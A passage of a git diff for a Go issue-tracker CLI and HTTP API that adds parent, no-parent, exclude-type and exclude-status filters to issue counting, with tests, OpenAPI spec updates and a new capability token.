rather than + // replacing them. + cmd.Flags().String("parent", "", "Filter by parent issue ID (count children of specified issue)") + cmd.Flags().Bool("no-parent", false, "Count only top-level issues (exclude child issues)") + cmd.Flags().StringSlice("exclude-type", nil, "Exclude issue types from the count (comma-separated or repeatable)") + cmd.Flags().StringSlice("exclude-status", nil, "Exclude statuses from the count (comma-separated or repeatable)") + // Pattern matching cmd.Flags().String("title-contains", "", "Filter by title substring") cmd.Flags().String("desc-contains", "", "Filter by description substring") diff --git a/cmd/bd/count_filter_test.go b/cmd/bd/count_filter_test.go index da97b2831..cfac118d1 100644 --- a/cmd/bd/count_filter_test.go +++ b/cmd/bd/count_filter_test.go @@ -76,10 +76,71 @@ func TestCountIncludeEphemeralFlagShape(t *testing.T) { } } +// TestCountScopeFlagsShape pins --parent, --no-parent, --exclude-type and +// --exclude-status: their existence, their defaults, and that setting one +// does not leak into another. These are the Counter-scope fields (S8): the +// behavior token issues.count.scope on the HTTP front door exists because of +// exactly these four flags. +func TestCountScopeFlagsShape(t *testing.T) { + for flag, defValue := range map[string]string{ + "parent": "", + "no-parent": "false", + "exclude-type": "[]", + "exclude-status": "[]", + } { + got := countCmd.Flags().Lookup(flag) + if got == nil { + t.Fatalf("bd count must expose a --%s flag", flag) + } + if got.DefValue != defValue { + t.Fatalf("--%s must default to %q, got %q", flag, defValue, got.DefValue) + } + } + + request, _, err := parseCountRequest(newCountFlagSet(t)) + if err != nil { + t.Fatalf("parseCountRequest with no flags set: %v", err) + } + if request.ParentID != "" || request.NoParent || len(request.ExcludeTypes) != 0 || len(request.ExcludeStatus) != 0 { + t.Errorf("parseCountRequest with no flags set = %#v, want all four scope fields at their zero value", request) + } + + flags := newCountFlagSet(t) + if err := flags.Flags().Set("parent", "bd-1"); err != nil { + t.Fatalf("set --parent: %v", err) + } + if err := flags.Flags().Set("exclude-type", "wisp"); err != nil { + t.Fatalf("set --exclude-type: %v", err) + } + request, _, err = parseCountRequest(flags) + if err != nil { + t.Fatalf("parseCountRequest --parent --exclude-type: %v", err) + } + if request.ParentID != "bd-1" { + t.Errorf("ParentID = %q, want %q", request.ParentID, "bd-1") + } + if request.NoParent { + t.Error("NoParent = true with only --parent set; the two flags must not leak into each other") + } + if !reflect.DeepEqual(request.ExcludeTypes, []string{"wisp"}) { + t.Errorf("ExcludeTypes = %v, want [wisp]", request.ExcludeTypes) + } + if len(request.ExcludeStatus) != 0 { + t.Errorf("ExcludeStatus = %v, want empty; only --exclude-type was set", request.ExcludeStatus) + } +} + // TestParseCountRequestCarriesEveryFilterFlag is the tripwire for a flag that // is registered, documented and silently dropped on the way into the request. // Every filter flag is set to a value distinguishable from its zero and read // back off the request. +// +// --no-parent is NOT in this matrix: review S8 follow-up #1 made --parent and +// --no-parent mutually exclusive, and this test already sets --parent to +// cover that field, so setting --no-parent alongside it would refuse the +// whole request instead of pinning a mapping. --no-parent's carriage into the +// request is pinned on its own in TestParseCountRequestRefusesParentAndNoParentTogether's +// sibling cases below and in TestCountScopeFlagsShape above. func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { flags := newCountFlagSet(t) for flag, value := range map[string]string{ @@ -109,6 +170,9 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { "priority-max": "4", "include-infra": "true", "include-ephemeral": "true", + "parent": "bd-9", + "exclude-type": "wisp,gate", + "exclude-status": "closed,archived", } { if err := flags.Flags().Set(flag, value); err != nil { t.Fatalf("set --%s=%s: %v", flag, value, err) @@ -161,12 +225,59 @@ func TestParseCountRequestCarriesEveryFilterFlag(t *testing.T) { HasMetadataKey: "audit_ref", IncludeInfra: true, IncludeEphemeral: true, + ParentID: "bd-9", + ExcludeTypes: []string{"wisp", "gate"}, + ExcludeStatus: []string{"closed", "archived"}, } if !reflect.DeepEqual(request, want) { t.Errorf("parseCountRequest built\n %#v\nwant\n %#v", request, want) } } +// TestParseCountRequestRefusesParentAndNoParentTogether pins review S8 +// follow-up #1: `bd count --parent X --no-parent` is refused at the CLI flag +// layer, before a request is even built — the same early-refusal shape every +// other mutually-exclusive pair on this CLI gets (e.g. --pinned/--no-pinned). +// +// HandleErrorRespectJSON prints "--parent and --no-parent are mutually +// exclusive" (`bd list`'s own wording, cmd/bd/list_input.go) to stderr/JSON +// and returns an opaque exit error, so — as every other parseCountRequest +// refusal test in this file does — only the refusal itself is asserted here, +// not the string inside the returned error. +func TestParseCountRequestRefusesParentAndNoParentTogether(t *testing.T) { + flags := newCountFlagSet(t) + if err := flags.Flags().Set("parent", "bd-1"); err != nil { + t.Fatalf("set --parent: %v", err) + } + if err := flags.Flags().Set("no-parent", "true"); err != nil { + t.Fatalf("set --no-parent: %v", err) + } + if _, _, err := parseCountRequest(flags); err == nil { + t.Fatal("parseCountRequest accepted --parent with --no-parent, want a refusal") + } +} + +// TestParseCountRequestCarriesNoParentAlone pins --no-parent's own mapping, +// split out of TestParseCountRequestCarriesEveryFilterFlag because that test's +// --parent case cannot also set --no-parent now that the two refuse each +// other. +func TestParseCountRequestCarriesNoParentAlone(t *testing.T) { + flags := newCountFlagSet(t) + if err := flags.Flags().Set("no-parent", "true"); err != nil { + t.Fatalf("set --no-parent: %v", err) + } + request, _, err := parseCountRequest(flags) + if err != nil { + t.Fatalf("parseCountRequest --no-parent: %v", err) + } + if !request.NoParent { + t.Error("NoParent = false, want true") + } + if request.ParentID != "" { + t.Errorf("ParentID = %q, want empty: --parent was not set", request.ParentID) + } +} + func TestParseCountRequestRejectsInvalidMetadataField(t *testing.T) { for _, value := range []string{"team", "bad$key=value"} { t.Run(value, func(t *testing.T) { diff --git a/cmd/bd/serve_count_proxied_integration_test.go b/cmd/bd/serve_count_proxied_integration_test.go index 577a09d7e..9747f40c4 100644 --- a/cmd/bd/serve_count_proxied_integration_test.go +++ b/cmd/bd/serve_count_proxied_integration_test.go @@ -255,6 +255,51 @@ func TestProxiedServerServeCount(t *testing.T) { } }) + // PR #7199 REVIEW: exclude_status against a WORKSPACE CUSTOM STATUS, over + // the wire and with include_infra left unset. The fake-role tests in + // internal/httpapi cannot write this case — a fake cannot be asked whether a + // custom status is in its own vocabulary — and the bug this pins lived below + // the HTTP layer anyway (storecounter and uow's countFilter only loaded the + // workspace's list configuration when include_infra was set, so + // BuildCountFilter's validation refused a status the workspace itself + // defined unless the caller also happened to pass the unrelated flag). + t.Run("exclude_status accepts a workspace custom status without include_infra", func(t *testing.T) { + label := countSliceLabel + "-customstatus" + scopedCustom := "?label=" + label + + if out, err := bdProxiedRun(t, bd, p.dir, "config", "set", "status.custom", "review,qa"); err != nil { + t.Fatalf("bd config set status.custom: %v\n%s", err, out) + } + + bdProxiedCreate(t, bd, p.dir, "custom status open row", "-p", "2", "-l", label) + reviewRow := bdProxiedCreate(t, bd, p.dir, "custom status review row", "-p", "2", "-l", label) + if out, err := bdProxiedRun(t, bd, p.dir, "update", reviewRow.ID, "--status", "review"); err != nil { + t.Fatalf("bd update --status review: %v\n%s", err, out) + } + + _, total, _ := sp.countIssues(t, scopedCustom) + if total != 2 { + t.Fatalf("total = %d, want 2", total) + } + + // include_infra is NOT in this query string. Before the fix this 400'd + // with an "invalid exclude-status" refusal because the config load that + // feeds BuildCountFilter's vocabulary check was gated on include_infra + // alone. + status, narrowed, _ := sp.countIssues(t, scopedCustom+"&exclude_status=review") + if status != http.StatusOK { + t.Fatalf("exclude_status=review (a workspace custom status, include_infra unset): status = %d, want 200", status) + } + if narrowed != 1 { + t.Fatalf("exclude_status=review counted %d, want 1", narrowed) + } + + // The parity oracle, same as the sibling cases above. + if cli := bdProxiedCountTotal(t, bd, p.dir, "--label", label, "--exclude-status", "review"); cli != narrowed { + t.Errorf("bd count --exclude-status review = %d, the server said %d", cli, narrowed) + } + }) + // The refusals, over the wire: a closed vocabulary and a typed parameter // set, both refused before any query runs. t.Run("the document's refusals are refused", func(t *testing.T) { diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index 0e414bbc2..1edee6f7b 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1010,7 +1010,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -2464,6 +2464,30 @@ type CountIssuesParams struct { // Unset — and with `include_ephemeral` also unset — the count is durable-plane only and applies none of the four: the historical `bd count` answer, kept exactly so a scripted caller reads the same number it read yesterday. IncludeInfra *bool `form:"include_infra,omitempty" json:"include_infra,omitempty"` + // Parent Restrict to one issue's children through one predicate with two arms: a parent-child dependency edge onto `parent`, OR — for an issue carrying no parent-child edge at all — a dotted-id prefix match (`parent.anything`). NEITHER ARM WALKS. The edge arm stops at one level, so a grandchild with an edge of its own is not counted, while the prefix arm reaches every edge-less dotted id at any depth (`X.1.1` as well as `X.1`). It is the same predicate `GET /v0/beads/issues`'s own `parent` applies, so `bd count --parent X` agrees in cardinality with `bd list --parent X --flat --all` (or `--json`) for the shared part of the predicate — NOT with a bare `bd list --parent X --all`, whose default tree mode walks every descendant reachable through either arm (grandchildren and below) by re-querying this same predicate once per level client-side (cmd/bd/list_show_filter_modes.go). `--flat` and `--json` both skip that walk and return this field's answer directly. + // + // Sending it beside `no_parent` IS refused: `invalid_argument` on `no_parent` with `reason: invalid_value`, matching `bd list`'s CLI refusal of the same combination. + // + // Behind the `issues.count.scope` behavior token: an older server answers `unknown_parameter` for this name. + Parent *string `form:"parent,omitempty" json:"parent,omitempty"` + + // NoParent Only issues carrying NO parent-child dependency edge. Unlike `parent`, this does NOT consult the dotted-id convention — an issue named `X.1` with no edge to `X` is still counted here, which is the one place `parent` and `no_parent` are not exact opposites of each other. + // + // Sending it beside `parent` IS refused: `invalid_argument` on this parameter with `reason: invalid_value`, matching `bd list`'s CLI refusal of the same combination (cmd/bd/list_input.go) rather than the empty-intersection treatment `assignee`/`no_assignee` get. + // + // Behind the `issues.count.scope` behavior token: an older server answers `unknown_parameter` for this name. + NoParent *bool `form:"no_parent,omitempty" json:"no_parent,omitempty"` + + // ExcludeType Issue types to exclude from the count. Repeat the parameter, or pass a comma-separated list; entries are split and trimmed inside the role and are NOT validated against this workspace's vocabulary — an unrecognized name excludes nothing rather than failing, `status`'s own treatment. It is NOT ignored when `type` is set (unlike `GET /v0/beads/ready`'s `exclude_type`): the two compose, and it also composes with the exclusions `include_infra` applies on its own rather than replacing them. + // + // Behind the `issues.count.scope` behavior token: an older server answers `unknown_parameter` for this name. + ExcludeType *[]string `form:"exclude_type,omitempty" json:"exclude_type,omitempty"` + + // ExcludeStatus Statuses to exclude from the count. Repeat the parameter, or pass a comma-separated list; entries are taken as written (no normalization) but — UNLIKE `status` and `exclude_type` above — each name IS validated against this workspace's vocabulary (built-in statuses plus this workspace's own custom ones): an unrecognized name is `invalid_argument` on this parameter with `reason: invalid_value`, rather than silently excluding nothing and overcounting. There is no listing counterpart to this parameter: `GET /v0/beads/issues` computes its default status exclusions internally from workspace configuration and exposes no equivalent knob, so this is a Count-only capability. + // + // Behind the `issues.count.scope` behavior token: an older server answers `unknown_parameter` for this name. + ExcludeStatus *[]string `form:"exclude_status,omitempty" json:"exclude_status,omitempty"` + // GroupBy Bucket the count by one dimension and return `groups` beside `total`. Absent, the response carries `total` alone. // // The set is CLOSED, and a value outside it is a `400` rather than an empty answer: a caller that misspelled a dimension and got zero buckets back has no way to tell that from a workspace with nothing in it. That is the role's own rule, applied at the edge here so the refusal names the parameter. diff --git a/internal/httpapi/count_test.go b/internal/httpapi/count_test.go index 986455704..77ab524e9 100644 --- a/internal/httpapi/count_test.go +++ b/internal/httpapi/count_test.go @@ -117,6 +117,10 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { "has_metadata_key": {"audit_ref"}, "include_infra": {"true"}, "include_ephemeral": {"true"}, + "parent": {"bd-9"}, + "no_parent": {"true"}, + "exclude_type": {"wisp", "gate"}, + "exclude_status": {"closed", "archived"}, }.Encode()) if resp.StatusCode != http.StatusOK { t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) @@ -169,6 +173,11 @@ func TestCountForwardsEveryDocumentedParameter(t *testing.T) { IncludeInfra: true, IncludeEphemeral: true, + + ParentID: "bd-9", + NoParent: true, + ExcludeTypes: []string{"wisp", "gate"}, + ExcludeStatus: []string{"closed", "archived"}, } if !reflect.DeepEqual(got[0], want) { t.Errorf("request = %+v\nwant %+v", got[0], want) @@ -645,6 +654,10 @@ var countFieldForParameter = map[string]string{ "has_metadata_key": "HasMetadataKey", "include_infra": "IncludeInfra", "include_ephemeral": "IncludeEphemeral", + "parent": "ParentID", + "no_parent": "NoParent", + "exclude_type": "ExcludeTypes", + "exclude_status": "ExcludeStatus", } // TestEveryCountRequestFieldIsPublished: the wire publishes every filter the diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index eeee88f25..31e336eac 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -741,11 +741,17 @@ var operationCodes = map[string][]Code{ // Its 400s come from both the transport and the ROLE. The transport refuses // malformed values, repeated single-valued parameters and a `group_by` // outside the closed set. countGroupOf stops that last case at the edge. - // The role has exactly one reachable refusal: BuildCountFilter rejects an - // invalid metadata key, from `metadata_field` or `has_metadata_key`. - // failReadErr classifies it through invalidFilterParam as a 400 naming the - // parameter it came from. An unrecognized status or type is not a refusal; - // the role promises it matches nothing and answers 0. + // The role has three reachable refusals, all from BuildCountFilter: an + // invalid metadata key (`metadata_field` or `has_metadata_key`), an + // unrecognized `exclude_status` name, and `parent` set together with + // `no_parent` (named `no_parent`). The last two carry ErrValidation; the + // metadata-key refusal does not, being a plain error from + // ValidateMetadataFilters, which the list and ready builders share. + // failReadErr classifies all three through invalidFilterParam by message + // prefix, not by sentinel, as a 400 naming the parameter each came from. + // An unrecognized `status` or `type` is not a refusal; the role promises + // it matches nothing and answers 0. Nor is an unrecognized `exclude_type`, + // which excludes nothing. OpCountIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, // The listing's vocabulary minus the cursor: this operation has none, so // invalid_cursor cannot arise. An unparseable EXPRESSION is an diff --git a/internal/httpapi/reads.go b/internal/httpapi/reads.go index 1ab132ed8..988f6298e 100644 --- a/internal/httpapi/reads.go +++ b/internal/httpapi/reads.go @@ -229,6 +229,19 @@ func countFilters(q *query) issueops.CountRequest { // it reaches the role as its own field and never as IncludeInfra: folded // into it, a plane-only count would also lose its templates and gates. IncludeEphemeral: q.boolean("include_ephemeral"), + + // The four scope fields behind `issues.count.scope` (S8): ParentID and + // ExcludeTypes are read exactly as the listing reads them (q.str("parent"), + // q.list("exclude_type")), because the role documents its own ParentID and + // ExcludeTypes as spelling ListRequest's fields identically. NoParent and + // ExcludeStatus have no listing counterpart to mirror — NoParent is a new + // boolean switch and ExcludeStatus is a Count-only capability the listing + // never exposed — so both are read with this file's own conventions for + // their kind (q.boolean, q.list) rather than a listing precedent. + ParentID: q.str("parent"), + NoParent: q.boolean("no_parent"), + ExcludeTypes: q.list("exclude_type"), + ExcludeStatus: q.list("exclude_status"), } } @@ -598,6 +611,15 @@ func invalidFilterParam(err error) (string, bool) { switch { case strings.HasPrefix(msg, "invalid status "): return "status", true + // The count role's own refusals (S8 review fix): a misspelled + // --exclude-status entry, and --parent set together with --no-parent. + // Both are the ROLE's ErrValidation. They are named here the same way as + // the `status` row above and the metadata-key rows below, so the client + // learns which parameter to fix rather than reading an unclassified 500. + case strings.HasPrefix(msg, "invalid exclude-status "): + return "exclude_status", true + case strings.HasPrefix(msg, "--parent and --no-parent are mutually exclusive"): + return "no_parent", true case strings.HasPrefix(msg, "invalid issue type "): return "type", true case strings.HasPrefix(msg, "invalid sort policy "): diff --git a/internal/httpapi/reads_test.go b/internal/httpapi/reads_test.go index 672f5147e..51cbb88ab 100644 --- a/internal/httpapi/reads_test.go +++ b/internal/httpapi/reads_test.go @@ -161,6 +161,8 @@ func TestABuilderRefusalIsTheDocumentedBadRequest(t *testing.T) { {"a has-metadata key on the ready surface", "/v0/beads/ready?has_metadata_key=1bad", "has_metadata_key"}, {"a metadata field key on the count surface", "/v0/beads/issues:count?metadata_field=1bad=x", "metadata_field"}, {"a has-metadata key on the count surface", "/v0/beads/issues:count?has_metadata_key=1bad", "has_metadata_key"}, + {"an unknown exclude-status name on the count surface", "/v0/beads/issues:count?exclude_status=bogus", "exclude_status"}, + {"parent and no_parent together on the count surface", "/v0/beads/issues:count?parent=bd-1&no_parent=true", "no_parent"}, } { t.Run(tc.name, func(t *testing.T) { ts, _ := newReadServer(t, Config{}) diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index cb7a84b76..1fe26aab0 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -76,6 +76,49 @@ const CapBatchApplyLarge = "issues.batchApplyLarge" // baseline is built from. const CapIssuesListSort = "issues.list.sort" +// CapIssuesCountScope is the behavior capability that advertises GET +// /v0/beads/issues:count's `parent`, `no_parent`, `exclude_type`, and +// `exclude_status` parameters (reads.go countFilters, spec OpCountIssues). +// Like CapIssuesListSort it names FOUR PARAMETERS added to an existing +// operation rather than a route of its own — `issues.count` is already the +// per-operation token for the route itself — so it rides the same +// behaviorCapabilities list and one token covers all four (internal/beads +// design doc "Count scope", S8): they shipped together, through the one +// shared workapi.BuildCountFilter builder, so there is no partial-support +// state a finer-grained token would need to distinguish. +// +// This is the TestNewParameterOnExistingOperationHasABehaviorToken gate +// CapIssuesListSort's doc describes: `issues:count` is a pretoken-baseline +// operation (internal/httpapi/testdata/pretoken_operations.json), so these +// four NEW parameters on it must each cite a served token in their own +// OpenAPI description, and this is that token. +// +// CLIENT-SKEW NOTE FOR S3/S4 (no OSS HTTP client exists yet to wire this +// into): a server predating this token answers any of the four parameters +// with `400 invalid_argument`/`reason: "unknown_parameter"` naming the +// parameter — the per-parameter capability probe every behavior token on +// this operation already relies on (see CapIssuesListSort). When the HTTP +// client lands, it MUST check `issues.count.scope` against the cached +// `ContextResponse.capabilities` from the handshake and refuse LOCALLY with +// a typed `ErrUnsupported{Capability: "issues.count.scope"}` (or an +// equivalent typed error carrying the token) before sending a request that +// sets `ParentID`, `NoParent`, `ExcludeTypes` or `ExcludeStatus` to an older +// server — never let the caller pay for a round trip that 400s anyway, and +// never silently drop the fields and return a wider count than asked for. +// +// THE DOWNSTREAM FALLBACK THIS PROTECTS (S8 review, follow-up #6): gc's own +// client maps that local `ErrUnsupported{Capability: "issues.count.scope"}` +// refusal to its own `ErrCountUnsupported` and falls back to the List role for +// the same predicate (beads-design DESIGN.txt §3.2, "gc maps this to +// ErrCountUnsupported and falls back to List") rather than surfacing the +// refusal to its own caller or guessing at a count. S3/S4, when they build +// that client, MUST add a skew test that masks this token out of a handshake +// response and asserts the fallback actually fires — not merely that the +// local refusal is raised — because a fallback that compiles but never runs +// in CI is indistinguishable from one that silently regressed to a wrong +// count. +const CapIssuesCountScope = "issues.count.scope" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -810,7 +853,7 @@ func (r route) specPathOf() string { // route. project.enforce announces per-request Bd-Project-Id enforcement // (checkProjectStamp): a stamped client reads it to know the refusal is available // rather than silently dropped by an older server. -var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort} +var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope} // Capabilities lists what this build advertises in ContextResponse.capabilities: // the operations it actually implements, gated on `implemented` so a stub can diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 0b5799395..291c7fdf2 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -635,7 +635,7 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // them; project.enforce and issues.batchApplyLarge are advertised in the // same list. Both are spelled literally here to keep this an independent // oracle rather than a second call to the code under test. - want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort") + want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 356032b1f..4b36dee2d 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -2068,6 +2068,102 @@ paths: schema: type: boolean default: false + - name: parent + in: query + description: >- + Restrict to one issue's children through one predicate with two + arms: a parent-child dependency edge onto `parent`, OR — for an + issue carrying no parent-child edge at all — a dotted-id prefix + match (`parent.anything`). NEITHER ARM WALKS. The edge arm stops + at one level, so a grandchild with an edge of its own is not + counted, while the prefix arm reaches every edge-less dotted id at + any depth (`X.1.1` as well as `X.1`). It is the same predicate + `GET /v0/beads/issues`'s own `parent` applies, so `bd count + --parent X` agrees in cardinality with `bd list --parent X --flat + --all` (or `--json`) for the shared part of the predicate — NOT + with a bare `bd list --parent X --all`, whose default tree mode + walks every descendant reachable through either arm (grandchildren + and below) by re-querying this same predicate once per level + client-side + (cmd/bd/list_show_filter_modes.go). `--flat` and `--json` both + skip that walk and return this field's answer directly. + + + Sending it beside `no_parent` IS refused: `invalid_argument` on + `no_parent` with `reason: invalid_value`, matching `bd list`'s CLI + refusal of the same combination. + + + Behind the `issues.count.scope` behavior token: an older server + answers `unknown_parameter` for this name. + schema: + type: string + - name: no_parent + in: query + description: >- + Only issues carrying NO parent-child dependency edge. Unlike + `parent`, this does NOT consult the dotted-id convention — an + issue named `X.1` with no edge to `X` is still counted here, which + is the one place `parent` and `no_parent` are not exact opposites + of each other. + + + Sending it beside `parent` IS refused: `invalid_argument` on this + parameter with `reason: invalid_value`, matching `bd list`'s CLI + refusal of the same combination (cmd/bd/list_input.go) rather than + the empty-intersection treatment `assignee`/`no_assignee` get. + + + Behind the `issues.count.scope` behavior token: an older server + answers `unknown_parameter` for this name. + schema: + type: boolean + default: false + - name: exclude_type + in: query + description: >- + Issue types to exclude from the count. Repeat the parameter, or + pass a comma-separated list; entries are split and trimmed inside + the role and are NOT validated against this workspace's + vocabulary — an unrecognized name excludes nothing rather than + failing, `status`'s own treatment. It is NOT ignored when `type` + is set (unlike `GET /v0/beads/ready`'s `exclude_type`): the two + compose, and it also composes with the exclusions `include_infra` + applies on its own rather than replacing them. + + + Behind the `issues.count.scope` behavior token: an older server + answers `unknown_parameter` for this name. + style: form + explode: true + schema: + type: array + items: + type: string + - name: exclude_status + in: query + description: >- + Statuses to exclude from the count. Repeat the parameter, or pass + a comma-separated list; entries are taken as written (no + normalization) but — UNLIKE `status` and `exclude_type` above — + each name IS validated against this workspace's vocabulary + (built-in statuses plus this workspace's own custom ones): an + unrecognized name is `invalid_argument` on this parameter with + `reason: invalid_value`, rather than silently excluding nothing + and overcounting. There is no listing counterpart to this + parameter: `GET /v0/beads/issues` computes its default status + exclusions internally from workspace configuration and exposes no + equivalent knob, so this is a Count-only capability. + + + Behind the `issues.count.scope` behavior token: an older server + answers `unknown_parameter` for this name. + style: form + explode: true + schema: + type: array + items: + type: string - name: group_by in: query description: >- @@ -7514,7 +7610,11 @@ components: older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that - parameter) rather than silently answering `unknown_parameter`. The + parameter) rather than silently answering `unknown_parameter`, and + `issues.count.scope`, which announces that + `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, + `exclude_type`, and `exclude_status` (see those parameters) rather + than silently answering `unknown_parameter` for all four. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 608ede82a..30ff61ebe 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -4594,6 +4594,24 @@ "explode": true, "default": "false" }, + { + "schema": "param:countIssues", + "member": "query:exclude_status", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, + { + "schema": "param:countIssues", + "member": "query:exclude_type", + "type": "array", + "required": false, + "item_type": "string", + "style": "form", + "explode": true + }, { "schema": "param:countIssues", "member": "query:group_by", @@ -4688,6 +4706,15 @@ "explode": true, "default": "false" }, + { + "schema": "param:countIssues", + "member": "query:no_parent", + "type": "boolean", + "required": false, + "style": "form", + "explode": true, + "default": "false" + }, { "schema": "param:countIssues", "member": "query:notes_contains", @@ -4696,6 +4723,14 @@ "style": "form", "explode": true }, + { + "schema": "param:countIssues", + "member": "query:parent", + "type": "string", + "required": false, + "style": "form", + "explode": true + }, { "schema": "param:countIssues", "member": "query:priority", diff --git a/internal/storage/dolt/counter_contract_test.go b/internal/storage/dolt/counter_contract_test.go index 9047ed925..1166eef66 100644 --- a/internal/storage/dolt/counter_contract_test.go +++ b/internal/storage/dolt/counter_contract_test.go @@ -65,6 +65,33 @@ func TestCounterContract(t *testing.T) { t.Run("WritesNothing", func(t *testing.T) { conformance.RunCounterWritesNothing(t, ctx, fixture) }) + t.Run("ParentIDScopesToChildren", func(t *testing.T) { + conformance.RunCounterParentIDScopesToChildren(t, ctx, fixture) + }) + t.Run("NoParentExcludesChildren", func(t *testing.T) { + conformance.RunCounterNoParentExcludesChildren(t, ctx, fixture) + }) + t.Run("ExcludeTypesNarrowsThePredicate", 